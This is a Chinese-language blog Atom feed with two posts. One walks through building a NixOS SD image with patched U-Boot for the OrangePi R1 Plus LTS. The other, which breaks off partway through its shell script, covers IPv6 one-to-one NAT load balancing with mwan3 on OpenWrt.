<?xml version="1.0" encoding="UTF-8"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh">
    <title>richar的技术集</title>
    <link rel="self" type="application/atom+xml" href="https://richar.top/atom.xml"/>
    <link rel="alternate" type="text/html" href="https://richar.top"/>
    <generator uri="https://www.getzola.org/">Zola</generator>
    <updated>2026-01-06T00:00:00+00:00</updated>
    <id>https://richar.top/atom.xml</id>
    <entry xml:lang="zh">
        <title>Nixos on OrangePi R1 Plus LTS</title>
        <published>2026-01-06T00:00:00+00:00</published>
        <updated>2026-01-06T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/nixos-orangepi-r1-plus-lts/"/>
        <id>https://richar.top/nixos-orangepi-r1-plus-lts/</id>
        
        <content type="html" xml:base="https://richar.top/nixos-orangepi-r1-plus-lts/">&lt;h1 id=&quot;qian-yan&quot;&gt;前言&lt;&#x2F;h1&gt;
&lt;p&gt;前几天买了个OrangePi R1 Plus LTS打算当作软路由，虽然网上已经有编译好的各种镜像，不过大多数是OpenWrt，并且固件比较旧。
偶然搜到这篇&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;leachim.wang&#x2F;posts&#x2F;alarm-on-orangepi-r1-plus-lts&#x2F;&quot;&gt;Arch Linux on Orangepi R1 Plus LTS&lt;&#x2F;a&gt;，那么既然Arch都能装，那为什么不试试NixOS呢。&lt;&#x2F;p&gt;
&lt;p&gt;Github: &lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;nixos-orangepi-r1-plus-lts&quot;&gt;ri-char&#x2F;nixos-orangepi-r1-plus-lts&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qi-dong-yuan-li&quot;&gt;启动原理&lt;&#x2F;h1&gt;
&lt;p&gt;&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;opensource.rock-chips.com&#x2F;wiki_Boot_option&quot;&gt;rock-chips文档&lt;&#x2F;a&gt;中有这么一幅图，很详细的描述了启动镜像的布局。&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;+--------+----------------+----------+-------------+---------+
&lt;&#x2F;span&gt;&lt;span&gt;| Boot   | Terminology #1 | Actual   | Rockchip    | Image   |
&lt;&#x2F;span&gt;&lt;span&gt;| stage  |                | program  |  Image      | Location|
&lt;&#x2F;span&gt;&lt;span&gt;| number |                | name     |   Name      | (sector)|
&lt;&#x2F;span&gt;&lt;span&gt;+--------+----------------+----------+-------------+---------+
&lt;&#x2F;span&gt;&lt;span&gt;| 1      |  Primary       | ROM code | BootRom     |         |
&lt;&#x2F;span&gt;&lt;span&gt;|        |  Program       |          |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;|        |  Loader        |          |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;|        |                |          |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;| 2      |  Secondary     | U-Boot   |idbloader.img| 0x40    | pre-loader
&lt;&#x2F;span&gt;&lt;span&gt;|        |  Program       | TPL&#x2F;SPL  |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;|        |  Loader (SPL)  |          |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;|        |                |          |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;| 3      |  -             | U-Boot   | u-boot.itb  | 0x4000  | including u-boot and atf
&lt;&#x2F;span&gt;&lt;span&gt;|        |                |          | uboot.img   |         | only used with miniloader
&lt;&#x2F;span&gt;&lt;span&gt;|        |                |          |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;|        |                | ATF&#x2F;TEE  | trust.img   | 0x6000  | only used with miniloader
&lt;&#x2F;span&gt;&lt;span&gt;|        |                |          |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;| 4      |  -             | kernel   | boot.img    | 0x8000  |
&lt;&#x2F;span&gt;&lt;span&gt;|        |                |          |             |         |
&lt;&#x2F;span&gt;&lt;span&gt;| 5      |  -             | rootfs   | rootfs.img  | 0x40000 |
&lt;&#x2F;span&gt;&lt;span&gt;+--------+----------------+----------+-------------+---------+
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;最前面&lt;code&gt;0x40&lt;&#x2F;code&gt;字节是MBR分区信息。我们所需要关注的是第2、3阶段。第2、3阶段所需要的文件&lt;code&gt;idbloader.img&lt;&#x2F;code&gt;和&lt;code&gt;u-boot.itb&lt;&#x2F;code&gt;是由U-Boot编译生成的。因此只需要编译好后按照上图所示的布局排列好，刷入TF卡中即可。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;xiang-xi-pei-zhi&quot;&gt;详细配置&lt;&#x2F;h1&gt;
&lt;h2 id=&quot;bian-yi-u-boot&quot;&gt;编译U-Boot&lt;&#x2F;h2&gt;
&lt;p&gt;U-Boot在2023年7月加入的Orange Pi R1 Plus LTS的设备树（见&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;source.denx.de&#x2F;u-boot&#x2F;u-boot&#x2F;-&#x2F;commit&#x2F;9bd954ab8a8513913bf74be06ba80a79754c7820&quot;&gt;9bd954ab&lt;&#x2F;a&gt;），因此需要使用较新的U-Boot源码。由于现在的内核都比较大，但是u-boot中的内存布局给内核留的空间较小，所以需要一点patch。最终编译配置如下&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;nix&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-nix &quot;&gt;&lt;code class=&quot;language-nix&quot; data-lang=&quot;nix&quot;&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;buildUBoot&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;armTrustedFirmwareRK3328&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;,
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;...
&lt;&#x2F;span&gt;&lt;span&gt;}:
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;buildUBoot &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;defconfig &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;orangepi-r1-plus-lts-rk3328_defconfig&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;extraMeta &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;{
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;platforms &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;aarch64-linux&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;  };
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;patches &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;[
&lt;&#x2F;span&gt;&lt;span&gt;    &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;.&#x2F;0001-Boot-environment.patch
&lt;&#x2F;span&gt;&lt;span&gt;  ];
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;enableParallelBuilding &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#6e9cbe;&quot;&gt;true&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;BL31 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e42e70;&quot;&gt;${&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt;armTrustedFirmwareRK3328&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#e42e70;&quot;&gt;}&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&#x2F;bl31.elf&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;;
&lt;&#x2F;span&gt;&lt;span&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#e8bf6a;&quot;&gt;filesToInstall &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;= &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#c1be91;&quot;&gt;&amp;quot;u-boot.itb&amp;quot; &amp;quot;idbloader.img&amp;quot;&lt;&#x2F;span&gt;&lt;span&gt;];
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;以及0001-Boot-environment.patch&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;patch&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-patch &quot;&gt;&lt;code class=&quot;language-patch&quot; data-lang=&quot;patch&quot;&gt;&lt;span&gt;diff --git a&#x2F;include&#x2F;configs&#x2F;rk3328_common.h b&#x2F;include&#x2F;configs&#x2F;rk3328_common.h
&lt;&#x2F;span&gt;&lt;span&gt;index bd2bfe2910..7a321e16b0 100644
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;--- a&#x2F;include&#x2F;configs&#x2F;rk3328_common.h
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;+++ b&#x2F;include&#x2F;configs&#x2F;rk3328_common.h
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#95815e;&quot;&gt;@@ -14,14 +14,14 @@
&lt;&#x2F;span&gt;&lt;span&gt; #define SDRAM_MAX_SIZE			0xff000000
&lt;&#x2F;span&gt;&lt;span&gt; 
&lt;&#x2F;span&gt;&lt;span&gt; #define ENV_MEM_LAYOUT_SETTINGS		\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92640;&quot;&gt;-	&amp;quot;scriptaddr=0x00500000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;+	&amp;quot;scriptaddr=0x00b00000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span&gt; 	&amp;quot;script_offset_f=0xffe000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span&gt; 	&amp;quot;script_size_f=0x2000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92640;&quot;&gt;-	&amp;quot;pxefile_addr_r=0x00600000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92640;&quot;&gt;-	&amp;quot;fdt_addr_r=0x01e00000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;+	&amp;quot;pxefile_addr_r=0x00c00000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;+	&amp;quot;fdt_addr_r=0x07e00000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span&gt; 	&amp;quot;fdtoverlay_addr_r=0x01f00000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span&gt; 	&amp;quot;kernel_addr_r=0x02080000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#f92640;&quot;&gt;-	&amp;quot;ramdisk_addr_r=0x06000000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#86c20e;&quot;&gt;+	&amp;quot;ramdisk_addr_r=0x0c000000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span&gt; 	&amp;quot;kernel_comp_addr_r=0x08000000\0&amp;quot;	\
&lt;&#x2F;span&gt;&lt;span&gt; 	&amp;quot;kernel_comp_size=0x2000000\0&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;zhi-zuo-sdqia-jing-xiang&quot;&gt;制作SD卡镜像&lt;&#x2F;h2&gt;
&lt;p&gt;SD卡镜像制作主要参考了&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ryan4yin&#x2F;nixos-rk3588&quot;&gt;ryan4yin&#x2F;nixos-rk3588&lt;&#x2F;a&gt;以及&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;gytis-ivaskevicius&#x2F;orangepi-r1-plus-nixos-image&quot;&gt;gytis-ivaskevicius&#x2F;orangepi-r1-plus-nixos-image&lt;&#x2F;a&gt;，只需要把固件按照rock-chips文档中的布局排布即可。由于&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;ri-char&#x2F;nixos-orangepi-r1-plus-lts&#x2F;blob&#x2F;main&#x2F;sd-image.nix&quot;&gt;完整代码&lt;&#x2F;a&gt;过长，下面列出几个关键命令。&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 将创建文件$img，并指定文件大小$imageSizeBytes
&lt;&#x2F;span&gt;&lt;span&gt;truncate&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -s &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;imageSizeBytes &lt;&#x2F;span&gt;&lt;span&gt;$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;img
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 创建主分区
&lt;&#x2F;span&gt;&lt;span&gt;sfdisk $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;img &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;&amp;lt;&amp;lt;EOF
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;    label: dos
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;    start=$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;rootPartitionOffsetBlocks&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;, type=linux, bootable
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;EOF
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 获取$img的第一个分区的起始位置和大小
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#da4939;&quot;&gt;eval &lt;&#x2F;span&gt;&lt;span&gt;$(partx $&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;img&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -o&lt;&#x2F;span&gt;&lt;span&gt; START,SECTORS&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; --nr&lt;&#x2F;span&gt;&lt;span&gt; 1&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; --pairs&lt;&#x2F;span&gt;&lt;span&gt;)
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 将rootfs.img写入第一个分区
&lt;&#x2F;span&gt;&lt;span&gt;dd conv=notrunc if=.&#x2F;root-fs.img of=$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;img&lt;&#x2F;span&gt;&lt;span&gt; seek=$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;START&lt;&#x2F;span&gt;&lt;span&gt; count=$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;SECTORS
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 写入idbloader.img
&lt;&#x2F;span&gt;&lt;span&gt;dd if=idbloader.img of=$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;img&lt;&#x2F;span&gt;&lt;span&gt; seek=64 conv=notrunc
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;# 写入u-boot.itb
&lt;&#x2F;span&gt;&lt;span&gt;dd if=u-boot.itb of=$&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;img&lt;&#x2F;span&gt;&lt;span&gt; seek=16384 conv=notrunc
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;qi-dong&quot;&gt;启动&lt;&#x2F;h1&gt;
&lt;p&gt;编译好后，使用dd命令将镜像写TF卡中，就可以启动了。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;richar.top&#x2F;nixos-orangepi-r1-plus-lts&#x2F;.&#x2F;neofetch.png&quot; alt=&quot;neofetch&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
</content>
        
    </entry>
    <entry xml:lang="zh">
        <title>mwan3多拨ipv6一对一NAT负载均衡</title>
        <published>2024-08-29T00:00:00+00:00</published>
        <updated>2024-08-29T00:00:00+00:00</updated>
        
        <author>
          <name>
            
              Unknown
            
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://richar.top/ipv6-mwan-nat/"/>
        <id>https://richar.top/ipv6-mwan-nat/</id>
        
        <content type="html" xml:base="https://richar.top/ipv6-mwan-nat/">&lt;h1 id=&quot;bei-jing&quot;&gt;背景&lt;&#x2F;h1&gt;
&lt;p&gt;wan多拨可以拿到多个ipv6的前缀，使用mwan3对ipv6进行负载均衡，发现能够正常将连接分流到各个接口上，但是不会进行地址转化。因此需要自行进行地址转化。本文对&lt;a rel=&quot;noopener&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.right.com.cn&#x2F;forum&#x2F;thread-8348384-1-1.html&quot;&gt;“关于多线IPv6与mwan3均衡负载，正确进行源地址转换”&lt;&#x2F;a&gt;进行改进，能够实现入站和出站一对一NAT。
NAT方式为将内网的前缀直接转化为上游下发的前缀，后64位保持不变。这样保证了内网机器的公网连通性和可访问性。&lt;&#x2F;p&gt;
&lt;h1 id=&quot;pei-zhi&quot;&gt;配置&lt;&#x2F;h1&gt;
&lt;p&gt;有4个多拨接口，网卡名为&lt;code&gt;eth1mac0&lt;&#x2F;code&gt;，&lt;code&gt;eth1mac1&lt;&#x2F;code&gt;，&lt;code&gt;eth1mac2&lt;&#x2F;code&gt;，&lt;code&gt;eth1mac3&lt;&#x2F;code&gt;。Openwrt接口名为&lt;code&gt;wanv6_0&lt;&#x2F;code&gt;，&lt;code&gt;wanv6_1&lt;&#x2F;code&gt;，&lt;code&gt;wanv6_2&lt;&#x2F;code&gt;，&lt;code&gt;wanv6_3&lt;&#x2F;code&gt;。每个接口都能拿到一个长度为128的ipv6地址和一个长度为64的前缀。
内网ULA前缀为&lt;code&gt;fd00::&#x2F;64&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;p&gt;在&lt;code&gt;&#x2F;etc&#x2F;config&#x2F;firewall&lt;&#x2F;code&gt;添加以下内容，每当网络接口发生变化时都会自动运行脚本。&lt;&#x2F;p&gt;
&lt;pre style=&quot;background-color:#383838;color:#e6e1dc;&quot;&gt;&lt;code&gt;&lt;span&gt;config include
&lt;&#x2F;span&gt;&lt;span&gt;    option path &amp;#39;&#x2F;usr&#x2F;nft-nat6.sh&amp;#39;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;编辑防火墙脚本&lt;code&gt;&#x2F;usr&#x2F;nft-nat6.sh&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;pre data-linenos data-lang=&quot;bash&quot; style=&quot;background-color:#383838;color:#e6e1dc;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;table&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;1&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;font-style:italic;color:#7c7865;&quot;&gt;#!&#x2F;bin&#x2F;sh
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;2&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;3&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;lan_prefix&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;fd00::&#x2F;64
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;4&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;5&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;route&amp;quot;][0].source&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;6&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;route&amp;quot;][0].source&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;7&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd2&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_2 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;route&amp;quot;][0].source&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;8&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;pd3&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_3 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;route&amp;quot;][0].source&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;9&lt;&#x2F;td&gt;&lt;td&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;10&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_0 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;ipv6-address&amp;quot;][0][&amp;quot;address&amp;quot;]&amp;#39;)
&lt;&#x2F;span&gt;&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;&lt;tr&gt;&lt;td&gt;11&lt;&#x2F;td&gt;&lt;td&gt;&lt;span style=&quot;color:#d0d0ff;&quot;&gt;ip1&lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;=&lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;$(ifstatus wanv6_1 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#cc7833;&quot;&gt;| &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;jsonfilter&lt;&#x2F;span&gt;&lt;span style=&quot;font-style:italic;color:#fd971f;&quot;&gt; -e &lt;&#x2F;span&gt;&lt;span style=&quot;color:#a5c261;&quot;&gt;&amp;#39;@[&amp;quot;ipv6-address&amp;quot;][0][&amp;quot;address&amp;quot;]&amp;#39;)
